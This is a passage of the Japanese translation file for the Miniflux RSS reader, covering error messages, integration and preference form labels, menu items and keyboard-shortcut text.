\"error.duplicate_linked_account\": \"別なユーザーが既にこのサービスの同じユーザーとリンクしています。\",\n    \"error.duplicated_feed\": \"このフィードは既に存在します。\",\n    \"error.empty_file\": \"このファイルは空です。\",\n    \"error.entries_per_page_invalid\": \"ページあたりの記事数が無効です。\",\n    \"error.feed_already_exists\": \"このフィードは既に存在します。\",\n    \"error.feed_category_not_found\": \"このカテゴリは存在しないか、このユーザーに属していません。\",\n    \"error.feed_format_not_detected\": \"フィードの形式を検出できません: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"ブロックリストルールが無効です。\",\n    \"error.feed_invalid_keeplist_rule\": \"リストの保持ルールが無効です。\",\n    \"error.feed_mandatory_fields\": \"URL と カテゴリが必要です。\",\n    \"error.feed_not_found\": \"このフィードは存在しないか、このユーザーに属していません。\",\n    \"error.feed_title_not_empty\": \"フィードのタイトルを空にすることはできません。\",\n    \"error.feed_url_not_empty\": \"フィード URL を空にすることはできません。\",\n    \"error.fields_mandatory\": \"すべての項目が必要です。\",\n    \"error.http_bad_gateway\": \"ウェブサイトは、不正なゲートウェイエラーのため現在利用できません。問題はMiniflux側にはありません。後でもう一度お試しください。\",\n    \"error.http_body_read\": \"HTTP本文を読み取れません: %v。\",\n    \"error.http_client_error\": \"HTTPクライアントエラー: %v。\",\n    \"error.http_empty_response\": \"HTTP応答が空です。おそらく、このウェブサイトはボット保護メカニズムを使用していますか？\",\n    \"error.http_empty_response_body\": \"HTTP応答本文が空です。\",\n    \"error.http_forbidden\": \"このウェブサイトへのアクセスは禁止されています。おそらく、このウェブサイトはボット保護メカニズムを持っていますか？\",\n    \"error.http_gateway_timeout\": \"ゲートウェイタイムアウトのため現在このウェブサイトは利用できません。問題は Miniflux 側にはありません。しばらくしてから再度お試しください。\",\n    \"error.http_internal_server_error\": \"サーバーエラーのため現在このウェブサイトは利用できません。問題は Miniflux 側にはありません。しばらくしてから再度お試しください。\",\n    \"error.http_not_authorized\": \"このウェブサイトへのアクセスが許可されていません。ユーザー名またはパスワードが正しくない可能性があります。\",\n    \"error.http_resource_not_found\": \"要求されたリソースが見つかりません。URL を確認してください。\",\n    \"error.http_response_too_large\": \"HTTP 応答が大きすぎます。グローバル設定で HTTP 応答サイズの上限を引き上げることができます（サーバー再起動が必要）。\",\n    \"error.http_service_unavailable\": \"内部サーバーエラーのため現在このウェブサイトは利用できません。問題は Miniflux 側にはありません。しばらくしてから再度お試しください。\",\n    \"error.http_too_many_requests\": \"Miniflux がこのウェブサイトに対してリクエストを送りすぎました。しばらく待つか、アプリケーション設定を変更してください。\",\n    \"error.http_unexpected_status_code\": \"予期しない HTTP ステータスコード (%d) により現在このウェブサイトは利用できません。問題は Miniflux 側にはありません。しばらくしてから再度お試しください。\",\n    \"error.invalid_categories_sorting_order\": \"カテゴリの表示順が無効です。\",\n    \"error.invalid_default_home_page\": \"デフォルトのトップページが無効です\",\n    \"error.invalid_display_mode\": \"Web アプリの表示モードが無効です。\",\n    \"error.invalid_entry_direction\": \"記事の表示順が無効です。\",\n    \"error.invalid_entry_order\": \"記事の表示順が無効です。\",\n    \"error.invalid_feed_proxy_url\": \"プロキシURLが無効です。\",\n    \"error.invalid_feed_url\": \"フィード URL が無効です。\",\n    \"error.invalid_gesture_nav\": \"ジェスチャー ナビゲーションが無効です。\",\n    \"error.invalid_language\": \"言語が無効です。\",\n    \"error.invalid_site_url\": \"サイト URL が無効です。\",\n    \"error.invalid_theme\": \"テーマが無効です。\",\n    \"error.invalid_timezone\": \"タイムゾーンが無効です。\",\n    \"error.network_operation\": \"Miniflux はネットワークエラーのためこのウェブサイトに到達できません: %v.\",\n    \"error.network_timeout\": \"このウェブサイトは応答が遅すぎるためタイムアウトしました: %v\",\n    \"error.password_min_length\": \"パスワードは6文字以上である必要があります。\",\n    \"error.proxy_url_not_empty\": \"プロキシURLを空にすることはできません。\",\n    \"error.settings_block_rule_fieldname_invalid\": \"ブロックルールが無効です: ルール #%d に有効なフィールド名がありません (オプション: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"ブロックルールが無効です: ルール #%d のパターンが正規表現として無効です\",\n    \"error.settings_block_rule_regex_required\": \"ブロックルールが無効です: ルール #%d にパターンが指定されていません\",\n    \"error.settings_block_rule_separator_required\": \"ブロックルールが無効です: ルール #%d のパターンは '=' で区切る必要があります\",\n    \"error.settings_invalid_domain_list\": \"ドメインリストが無効です。ドメインをスペース区切りで指定してください。\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"キープルールが無効です: ルール #%d に有効なフィールド名がありません (オプション: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"キープルールが無効です: ルール #%d のパターンが正規表現として無効です\",\n    \"error.settings_keep_rule_regex_required\": \"キープルールが無効です: ルール #%d にパターンが指定されていません\",\n    \"error.settings_keep_rule_separator_required\": \"キープルールが無効です: ルール #%d のパターンは '=' で区切る必要があります\",\n    \"error.settings_mandatory_fields\": \"ユーザー名、テーマ、言語、タイムゾーンのすべてが必要です。\",\n    \"error.settings_media_playback_rate_range\": \"再生速度が範囲外\",\n    \"error.settings_reading_speed_is_positive\": \"読書速度は正の整数である必要があります。\",\n    \"error.site_url_not_empty\": \"サイトの URL を空にすることはできません。\",\n    \"error.subscription_not_found\": \"フィードが見つかりません。\",\n    \"error.title_required\": \"タイトルが必要です。\",\n    \"error.tls_error\": \"TLS エラー: %q。必要であればフィード設定で TLS 検証を無効にできます。\",\n    \"error.unable_to_create_api_key\": \"この API キーを作成できません。\",\n    \"error.unable_to_create_category\": \"このカテゴリは作成できません。\",\n    \"error.unable_to_create_user\": \"このユーザーは作成できません。\",\n    \"error.unable_to_detect_rssbridge\": \"RSS-Bridge を使ってフィードを検出できません: %v.\",\n    \"error.unable_to_parse_feed\": \"このフィードを解析できません: %v.\",\n    \"error.unable_to_update_category\": \"このカテゴリは更新できません。\",\n    \"error.unable_to_update_feed\": \"このフィードは更新できません。\",\n    \"error.unable_to_update_user\": \"このユーザーは更新できません。\",\n    \"error.unlink_account_without_password\": \"パスワードを設定しなければ再びログインすることはできません。\",\n    \"error.user_already_exists\": \"このユーザーは既に存在します。\",\n    \"error.user_mandatory_fields\": \"ユーザー名が必要です。\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API TokenとOrganization Slugが必要です\",\n    \"form.api_key.label.description\": \"API キーラベル\",\n    \"form.category.hide_globally\": \"未読一覧に記事を表示しない\",\n    \"form.category.label.title\": \"タイトル\",\n    \"form.feed.fieldset.general\": \"一般\",\n    \"form.feed.fieldset.integration\": \"サードパーティサービス\",\n    \"form.feed.fieldset.network_settings\": \"ネットワーク設定\",\n    \"form.feed.fieldset.rules\": \"ルール\",\n    \"form.feed.label.allow_self_signed_certificates\": \"自己署名証明書または無効な証明書を許可する\",\n    \"form.feed.label.apprise_service_urls\": \"Apprise サービス URL のカンマ区切りリスト\",\n    \"form.feed.label.block_filter_entry_rules\": \"エントリブロッキングルール\",\n    \"form.feed.label.blocklist_rules\": \"正規表現ベースのブロッキングフィルター\",\n    \"form.feed.label.category\": \"カテゴリ\",\n    \"form.feed.label.cookie\": \"Cookie の設定\",\n    \"form.feed.label.crawler\": \"オリジナルの内容を取得\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"説明\",\n    \"form.feed.label.disable_http2\": \"フィンガープリンティング回避のため HTTP/2 を無効化\",\n    \"form.feed.label.disabled\": \"このフィードを更新しない\",\n    \"form.feed.label.feed_password\": \"フィードのパスワード\",\n    \"form.feed.label.feed_url\": \"フィード URL\",\n    \"form.feed.label.feed_username\": \"フィードのユーザー名\",\n    \"form.feed.label.fetch_via_proxy\": \"アプリケーションレベルで設定されたプロキシを使用する\",\n    \"form.feed.label.hide_globally\": \"未読一覧に記事を表示しない\",\n    \"form.feed.label.ignore_http_cache\": \"HTTPキャッシュを無視\",\n    \"form.feed.label.keep_filter_entry_rules\": \"エントリ許可ルール\",\n    \"form.feed.label.keeplist_rules\": \"正規表現ベースのキープフィルター\",\n    \"form.feed.label.no_media_player\": \"メディアプレーヤーなし（音声/動画）\",\n    \"form.feed.label.ntfy_activate\": \"エントリを ntfy に送信\",\n    \"form.feed.label.ntfy_default_priority\": \"ntfy デフォルト優先度\",\n    \"form.feed.label.ntfy_high_priority\": \"ntfy 高優先度\",\n    \"form.feed.label.ntfy_low_priority\": \"ntfy 低優先度\",\n    \"form.feed.label.ntfy_max_priority\": \"ntfy 最大優先度\",\n    \"form.feed.label.ntfy_min_priority\": \"ntfy 最小優先度\",\n    \"form.feed.label.ntfy_priority\": \"ntfy 優先度\",\n    \"form.feed.label.ntfy_topic\": \"ntfy トピック（任意）\",\n    \"form.feed.label.proxy_url\": \"プロキシ URL\",\n    \"form.feed.label.pushover_activate\": \"エントリを pushover.net に送信\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover 既定の優先度\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover 高優先度\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover 低優先度\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover 最大優先度\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover 最小優先度\",\n    \"form.feed.label.pushover_priority\": \"Pushover メッセージ優先度\",\n    \"form.feed.label.rewrite_rules\": \"コンテンツ書き換えルール\",\n    \"form.feed.label.scraper_rules\": \"Scraper ルール\",\n    \"form.feed.label.site_url\": \"サイト URL\",\n    \"form.feed.label.title\": \"タイトル\",\n    \"form.feed.label.urlrewrite_rules\": \"Rewrite URL ルール\",\n    \"form.feed.label.user_agent\": \"デフォルトの User Agent を上書きする\",\n    \"form.feed.label.webhook_url\": \"Webhook の URL を上書き\",\n    \"form.import.label.file\": \"OPML ファイル\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"エントリーをarchive.orgにプッシュする\",\n    \"form.integration.apprise_activate\": \"エントリを Apprise に送信\",\n    \"form.integration.apprise_services_url\": \"Apprise サービス URL のカンマ区切りリスト\",\n    \"form.integration.apprise_url\": \"Apprise APIのURL\",\n    \"form.integration.betula_activate\": \"エントリを Betula に保存\",\n    \"form.integration.betula_token\": \"Betula トークン\",\n    \"form.integration.betula_url\": \"Betula サーバー URL\",\n    \"form.integration.cubox_activate\": \"エントリを Cubox に保存\",\n    \"form.integration.cubox_api_link\": \"Cubox API リンク\",\n    \"form.integration.discord_activate\": \"エントリを Discord に送信\",\n    \"form.integration.discord_webhook_link\": \"Discord Webhook リンク\",\n    \"form.integration.espial_activate\": \"Espial に記事を保存する\",\n    \"form.integration.espial_api_key\": \"Espial の API key\",\n    \"form.integration.espial_endpoint\": \"Espial の API Endpoint\",\n    \"form.integration.espial_tags\": \"Espial の Tag\",\n    \"form.integration.fever_activate\": \"Fever API を有効にする\",\n    \"form.integration.fever_endpoint\": \"Fever APIエンドポイント:\",\n    \"form.integration.fever_password\": \"Fever のパスワード\",\n    \"form.integration.fever_username\": \"Fever のユーザー名\",\n    \"form.integration.googlereader_activate\": \"Google Reader API を有効にする\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader APIエンドポイント:\",\n    \"form.integration.googlereader_password\": \"Google Reader のパスワード\",\n    \"form.integration.googlereader_username\": \"Google Reader のユーザー名\",\n    \"form.integration.instapaper_activate\": \"Instapaper に記事を保存する\",\n    \"form.integration.instapaper_password\": \"Instapaper のパスワード\",\n    \"form.integration.instapaper_username\": \"Instapaper のユーザー名\",\n    \"form.integration.karakeep_activate\": \"Karakeep に記事を保存する\",\n    \"form.integration.karakeep_api_key\": \"Karakeep の API key\",\n    \"form.integration.karakeep_url\": \"Karakeep の API Endpoint\",\n    \"form.integration.karakeep_tags\": \"Karakeep の Tags\",\n    \"form.integration.linkace_activate\": \"エントリを LinkAce に保存\",\n    \"form.integration.linkace_api_key\": \"LinkAce API キー\",\n    \"form.integration.linkace_check_disabled\": \"リンクチェックを無効化\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API エンドポイント\",\n    \"form.integration.linkace_is_private\": \"リンクを非公開にする\",\n    \"form.integration.linkace_tags\": \"LinkAce タグ\",\n    \"form.integration.linkding_activate\": \"Linkding に記事を保存する\",\n    \"form.integration.linkding_api_key\": \"Linkding の API key\",\n    \"form.integration.linkding_bookmark\": \"ブックマークを未読にする\",\n    \"form.integration.linkding_endpoint\": \"Linkding の API Endpoint\",\n    \"form.integration.linkding_tags\": \"Linkding タグ\",\n    \"form.integration.linktaco_activate\": \"LinkTacoでエントリを保存する\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API トークン\",\n    \"form.integration.linktaco_api_token_hint\": \"個人用アクセス トークンを取得\",\n    \"form.integration.linktaco_org_slug\": \"組織スラッグ\",\n    \"form.integration.linktaco_tags\": \"タグ (最大10件、カンマ区切り)\",\n    \"form.integration.linktaco_tags_hint\": \"最大10件のタグ、カンマ区切り\",\n    \"form.integration.linktaco_visibility\": \"公開設定\",\n    \"form.integration.linktaco_visibility_public\": \"公開\",\n    \"form.integration.linktaco_visibility_private\": \"非公開\",\n    \"form.integration.linktaco_visibility_hint\": \"非公開設定には有料のLinkTacoアカウントが必要です\",\n    \"form.integration.linkwarden_activate\": \"Linkwarden に記事を保存\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden の API キー\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden ベース URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden コレクション ID\",\n    \"form.integration.matrix_bot_activate\": \"新しい記事をMatrixに転送する\",\n    \"form.integration.matrix_bot_chat_id\": \"MatrixルームのID\",\n    \"form.integration.matrix_bot_password\": \"Matrixユーザ用パスワード\",\n    \"form.integration.matrix_bot_url\": \"MatrixサーバーのURL\",\n    \"form.integration.matrix_bot_user\": \"Matrixのユーザー名\",\n    \"form.integration.notion_activate\": \"エントリを Notion に保存\",\n    \"form.integration.notion_page_id\": \"Notion ページ ID\",\n    \"form.integration.notion_token\": \"Notion シークレット トークン\",\n    \"form.integration.ntfy_activate\": \"エントリを ntfy に送信\",\n    \"form.integration.ntfy_api_token\": \"ntfy API トークン（任意）\",\n    \"form.integration.ntfy_icon_url\": \"ntfy アイコン URL（任意）\",\n    \"form.integration.ntfy_internal_links\": \"クリック時に内部リンクを使用（任意）\",\n    \"form.integration.ntfy_password\": \"ntfy パスワード（任意）\",\n    \"form.integration.ntfy_topic\": \"ntfy トピック（フィードで未設定なら既定値）\",\n    \"form.integration.ntfy_url\": \"ntfy URL（任意、既定 ntfy.sh）\",\n    \"form.integration.ntfy_username\": \"ntfy ユーザー名（任意）\",\n    \"form.integration.nunux_keeper_activate\": \"Nunux Keeper に記事を保存する\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper の API key\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper の API Endpoint\",\n    \"form.integration.omnivore_activate\": \"Omnivore に記事を保存する\",\n    \"form.integration.omnivore_api_key\": \"Omnivore の API key\",\n    \"form.integration.omnivore_url\": \"Omnivore の API Endpoint\",\n    \"form.integration.pinboard_activate\": \"Pinboard に記事を保存する\",\n    \"form.integration.pinboard_bookmark\": \"ブックマークを未読にする\",\n    \"form.integration.pinboard_tags\": \"Pinboard の Tag\",\n    \"form.integration.pinboard_token\": \"Pinboard の API Token\",\n    \"form.integration.pushover_activate\": \"エントリを Pushover に送信\",\n    \"form.integration.pushover_device\": \"Pushover デバイス（任意）\",\n    \"form.integration.pushover_prefix\": \"Pushover URL プレフィックス（任意）\",\n    \"form.integration.pushover_token\": \"Pushover アプリ API トークン\",\n    \"form.integration.pushover_user\": \"Pushover ユーザーキー\",\n    \"form.integration.raindrop_activate\": \"エントリを Raindrop に保存\",\n    \"form.integration.raindrop_collection_id\": \"コレクション ID\",\n    \"form.integration.raindrop_tags\": \"タグ（カンマ区切り）\",\n    \"form.integration.raindrop_token\": \"(テスト) トークン\",\n    \"form.integration.readeck_activate\": \"Readeck に記事を保存する\",\n    \"form.integration.readeck_api_key\": \"Readeck の API key\",\n    \"form.integration.readeck_endpoint\": \"Readeck の API Endpoint\",\n    \"form.integration.readeck_labels\": \"Readeck ラベル\",\n    \"form.integration.readeck_only_url\": \"URL のみを送信 (完全なコンテンツではなく)\",\n    \"form.integration.readeck_push_activate\": \"新しいエントリを自動的に Readeck へ送信\",\n    \"form.integration.readwise_activate\": \"エントリを Readwise Reader に保存\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader アクセストークン\",\n    \"form.integration.readwise_api_key_link\": \"Readwise アクセストークンを取得\",\n    \"form.integration.rssbridge_activate\": \"購読を追加する際に RSS-Bridge を確認\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge 認証トークン\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge サーバー URL\",\n    \"form.integration.shaarli_activate\": \"記事を Shaarli に保存\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API シークレット\",\n    \"form.integration.shaarli_endpoint\": \"ShaarliのURL\",\n    \"form.integration.shiori_activate\": \"記事を Shiori に保存\",\n    \"form.integration.shiori_endpoint\": \"Shiori API エンドポイント\",\n    \"form.integration.shiori_password\": \"Shiori パスワード\",\n    \"form.integration.shiori_username\": \"Shiori ユーザー名\",\n    \"form.integration.slack_activate\": \"エントリを Slack に送信\",\n    \"form.integration.slack_webhook_link\": \"Slack Webhook リンク\",\n    \"form.integration.telegram_bot_activate\": \"新しい記事を Telegram チャットにプッシュする\",\n    \"form.integration.telegram_bot_disable_buttons\": \"ボタンを無効化\",\n    \"form.integration.telegram_bot_disable_notification\": \"通知を無効化\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Web ページのプレビューを無効化\",\n    \"form.integration.telegram_bot_token\": \"ボットトークン\",\n    \"form.integration.telegram_chat_id\": \"チャット ID\",\n    \"form.integration.telegram_topic_id\": \"トピック ID\",\n    \"form.integration.wallabag_activate\": \"Wallabag に記事を保存する\",\n    \"form.integration.wallabag_client_id\": \"Wallabag の Client ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag の Client Secret\",\n    \"form.integration.wallabag_endpoint\": \"ワラバッグベースURL\",\n    \"form.integration.wallabag_only_url\": \"URL のみを送信 (完全なコンテンツではなく)\",\n    \"form.integration.wallabag_password\": \"Wallabag のパスワード\",\n    \"form.integration.wallabag_username\": \"Wallabag のユーザー名\",\n    \"form.integration.wallabag_tags\": \"Wallabag タグ\",\n    \"form.integration.webhook_activate\": \"Webhook を有効化\",\n    \"form.integration.webhook_secret\": \"Webhook シークレット\",\n    \"form.integration.webhook_url\": \"デフォルトの Webhook URL\",\n    \"form.prefs.fieldset.application_settings\": \"アプリケーション設定\",\n    \"form.prefs.fieldset.authentication_settings\": \"認証設定\",\n    \"form.prefs.fieldset.global_feed_settings\": \"グローバルフィード設定\",\n    \"form.prefs.fieldset.reader_settings\": \"リーダー設定\",\n    \"form.prefs.help.external_font_hosts\": \"許可する外部フォントホストをスペース区切りで指定します。例: \\\"fonts.gstatic.com fonts.googleapis.com\\\"\",\n    \"form.prefs.label.always_open_external_links\": \"外部リンクを開いて記事を読む\",\n    \"form.prefs.label.categories_sorting_order\": \"カテゴリの表示順\",\n    \"form.prefs.label.cjk_reading_speed\": \"中国語、韓国語、日本語の読書速度（文字数/分）\",\n    \"form.prefs.label.custom_css\": \"カスタム CSS\",\n    \"form.prefs.label.custom_js\": \"カスタム JavaScript\",\n    \"form.prefs.label.default_home_page\": \"デフォルトのトップページ\",\n    \"form.prefs.label.default_reading_speed\": \"他言語の読書速度（単語/分）\",\n    \"form.prefs.label.display_mode\": \"プログレッシブ Web アプリ (PWA) 表示モード\",\n    \"form.prefs.label.entries_per_page\": \"ページあたりの記事数\",\n    \"form.prefs.label.entry_order\": \"記事の表示順の基準\",\n    \"form.prefs.label.entry_sorting\": \"記事の表示順\",\n    \"form.prefs.label.entry_swipe\": \"タッチスクリーンでスワイプ入力を有効にする\",\n    \"form.prefs.label.external_font_hosts\": \"外部フォントホスト\",\n    \"form.prefs.label.gesture_nav\": \"エントリ間を移動するジェスチャー\",\n    \"form.prefs.label.keyboard_shortcuts\": \"キーボードショートカットを有効にする\",\n    \"form.prefs.label.language\": \"言語\",\n    \"form.prefs.label.mark_read_manually\": \"手動で既読にする\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"音声/動画の再生が90%%に達したら既読にする\",\n    \"form.prefs.label.mark_read_on_view\": \"表示時にエントリを自動的に既読としてマークします\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"表示時に既読にする。音声/動画は再生90%%で既読にする\",\n    \"form.prefs.label.media_playback_rate\": \"オーディオ/ビデオの再生速度\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"外部リンクを新しいタブで開く（リンクに target=\\\"_blank\\\" を追加）\",\n    \"form.prefs.label.show_reading_time\": \"記事の推定読書時間を表示する\",\n    \"form.prefs.label.theme\": \"テーマ\",\n    \"form.prefs.label.timezone\": \"タイムゾーン\",\n    \"form.prefs.select.alphabetical\": \"アルファベット順\",\n    \"form.prefs.select.browser\": \"ブラウザ\",\n    \"form.prefs.select.created_time\": \"記事の取得時刻\",\n    \"form.prefs.select.fullscreen\": \"フルスクリーン\",\n    \"form.prefs.select.minimal_ui\": \"ミニマル\",\n    \"form.prefs.select.none\": \"なし\",\n    \"form.prefs.select.older_first\": \"古い記事を最初に\",\n    \"form.prefs.select.publish_time\": \"記事の公開時刻\",\n    \"form.prefs.select.recent_first\": \"新しい記事を最初に\",\n    \"form.prefs.select.standalone\": \"スタンドアロン\",\n    \"form.prefs.select.swipe\": \"スワイプ\",\n    \"form.prefs.select.tap\": \"ダブルタップ\",\n    \"form.prefs.select.unread_count\": \"未読数\",\n    \"form.submit.loading\": \"読み込み中…\",\n    \"form.submit.saving\": \"保存中…\",\n    \"form.user.label.admin\": \"管理者\",\n    \"form.user.label.confirmation\": \"パスワード確認\",\n    \"form.user.label.password\": \"パスワード\",\n    \"form.user.label.username\": \"ユーザー名\",\n    \"menu.about\": \"ソフトウェア情報\",\n    \"menu.add_feed\": \"フィードを購読\",\n    \"menu.add_user\": \"ユーザーを追加\",\n    \"menu.api_keys\": \"API キー\",\n    \"menu.categories\": \"カテゴリ\",\n    \"menu.create_api_key\": \"新しい API キーを作成する\",\n    \"menu.create_category\": \"カテゴリを作成\",\n    \"menu.edit_category\": \"編集\",\n    \"menu.edit_feed\": \"編集\",\n    \"menu.export\": \"エクスポート\",\n    \"menu.feed_entries\": \"記事一覧\",\n    \"menu.feeds\": \"フィード一覧\",\n    \"menu.flush_history\": \"履歴をクリア\",\n    \"menu.history\": \"履歴\",\n    \"menu.home_page\": \"ホームページ\",\n    \"menu.import\": \"インポート\",\n    \"menu.integrations\": \"連携\",\n    \"menu.logout\": \"ログアウト\",\n    \"menu.mark_all_as_read\": \"すべて既読にする\",\n    \"menu.mark_page_as_read\": \"このページを既読にする\",\n    \"menu.preferences\": \"設定情報\",\n    \"menu.refresh_all_feeds\": \"すべてのフィードをバックグラウンドで更新\",\n    \"menu.refresh_feed\": \"更新\",\n    \"menu.search\": \"検索\",\n    \"menu.sessions\": \"セッション\",\n    \"menu.settings\": \"設定\",\n    \"menu.shared_entries\": \"共有エントリ\",\n    \"menu.show_all_entries\": \"すべての記事を表示\",\n    \"menu.show_only_starred_entries\": \"星付きのみを表示\",\n    \"menu.show_only_unread_entries\": \"未読の記事だけを表示\",\n    \"menu.starred\": \"星付き\",\n    \"menu.title\": \"メニュー\",\n    \"menu.unread\": \"未読\",\n    \"menu.users\": \"ユーザー一覧\",\n    \"page.about.author\": \"作者:\",\n    \"page.about.build_date\": \"ビルド日時:\",\n    \"page.about.credits\": \"著作権表示\",\n    \"page.about.db_usage\": \"データベースサイズ:\",\n    \"page.about.git_commit\": \"Git コミット:\",\n    \"page.about.global_config_options\": \"グローバル構成オプション\",\n    \"page.about.go_version\": \"Go バージョン:\",\n    \"page.about.license\": \"ライセンス:\",\n    \"page.about.postgres_version\": \"Postgres バージョン:\",\n    \"page.about.title\": \"ソフトウェア情報\",\n    \"page.about.version\": \"バージョン:\",\n    \"page.add_feed.choose_feed\": \"フィードを選択\",\n    \"page.add_feed.label.url\": \"フィードURL\",\n    \"page.add_feed.legend.advanced_options\": \"高度な設定\",\n    \"page.add_feed.no_category\": \"カテゴリが存在しません。カテゴリが少なくとも1つ必要です。\",\n    \"page.add_feed.submit\": \"フィードを探索して追加\",\n    \"page.add_feed.title\": \"新規フィード\",\n    \"page.api_keys.never_used\": \"未使用\",\n    \"page.api_keys.table.actions\": \"アクション\",\n    \"page.api_keys.table.created_at\": \"作成日\",\n    \"page.api_keys.table.description\": \"説明\",\n    \"page.api_keys.table.last_used_at\": \"最終使用\",\n    \"page.api_keys.table.token\": \"トークン\",\n    \"page.api_keys.title\": \"API キー\",\n    \"page.categories.entries\": \"記事一覧\",\n    \"page.categories.feed_count\": [\n        \"%d 件のフィードがあります。\"\n    ],\n    \"page.categories.feeds\": \"フィード一覧\",\n    \"page.categories.no_feed\": \"フィードはありません。\",\n    \"page.categories.title\": \"カテゴリ\",\n    \"page.categories_count\": [\n        \"%d 件のカテゴリ\"\n    ],\n    \"page.category_label\": \"カテゴリ: %s\",\n    \"page.edit_category.title\": \"カテゴリを編集: %s\",\n    \"page.edit_feed.etag_header\": \"ETag ヘッダー:\",\n    \"page.edit_feed.last_check\": \"最終チェック:\",\n    \"page.edit_feed.last_modified_header\": \"Last-Modified ヘッダー:\",\n    \"page.edit_feed.last_parsing_error\": \"直近の解析エラー\",\n    \"page.edit_feed.no_header\": \"なし\",\n    \"page.edit_feed.title\": \"フィードを編集: %s\",\n    \"page.edit_user.title\": \"ユーザーを編集: %s\",\n    \"page.entry.attachments\": \"添付ファイル\",\n    \"page.feeds.error_count\": [\n        \"%d 個のエラー\"\n    ],\n    \"page.feeds.last_check\": \"最終チェック:\",\n    \"page.feeds.next_check\": \"次回チェック:\",\n    \"page.feeds.read_counter\": \"既読記事の数\",\n    \"page.feeds.title\": \"フィード一覧\",\n    \"page.footer.elevator\": \"トップに戻る\",\n    \"page.history.title\": \"履歴\",\n    \"page.import.title\": \"インポート\",\n    \"page.integration.bookmarklet\": \"ブックマークレット\",\n    \"page.integration.bookmarklet.help\": \"この特別なリンクを使ってブラウザから直接ウェブサイトのフィードを購読できます。\",\n    \"page.integration.bookmarklet.instructions\": \"このリンクをブラウザのブックマークへドラッグしてください。\",\n    \"page.integration.bookmarklet.name\": \"Miniflux に追加\",\n    \"page.integration.miniflux_api\": \"MinifluxのAPI\",\n    \"page.integration.miniflux_api_endpoint\": \"APIエンドポイント\",\n    \"page.integration.miniflux_api_password\": \"パスワード\",\n    \"page.integration.miniflux_api_password_value\": \"アカウントのパスワード\",\n    \"page.integration.miniflux_api_username\": \"ユーザー名\",\n    \"page.integrations.title\": \"連携\",\n    \"page.keyboard_shortcuts.close_modal\": \"モーダルダイアログを閉じる\",\n    \"page.keyboard_shortcuts.download_content\": \"オリジナルの内容をダウンロード\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"一番下の項目に移動\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"カテゴリ\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"フィード\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"フィード一覧\",\n    \"page.keyboard_shortcuts.go_to_history\": \"履歴\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"次のアイテム\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"次のページ\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"前のアイテム\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"前のページ\",\n    \"page.keyboard_shortcuts.go_to_search\": \"検索フォームに移動\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"設定\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"星付き\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"先頭の項目に移動\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"未読\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"現在のページの記事をすべて既読にする\",\n    \"page.keyboard_shortcuts.open_comments\": \"コメントリンクを開く\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"現在のタブでコメントリンクを開く\",\n    \"page.keyboard_shortcuts.open_item\": \"選択されたアイテムを開く\",\n    \"page.keyboard_shortcuts.open_original\": \"オリジナルのリンクを開く\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"現在のタブでオリジナルのリンクを開く\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"すべてのフィードをバックグラウンドで更新\",\n    \"page.keyboard_shortcuts.remove_feed\": \"このフィードを削除\",\n    \"page.keyboard_shortcuts.save_article\": \"記事を保存\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"アイテムが上端になるようにスクロール\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"キーボードショートカットを表示\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"アクション\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"アイテム間を移動する\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"ページ間を移動する\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"セクションを移動する\",\n    \"page.keyboard_shortcuts.title\": \"キーボードショートカット\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"星を付ける/外す\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"添付ファイルを開く/閉じる\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"既読/未読を切り替えて次のアイテムに移動\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"既読/未読を切り替えて前のアイテムに移動\",\n    \"page.login.google_signin\": \"Google アカウントでログイン\",\n    \"page.login.oidc_signin\": \"%s 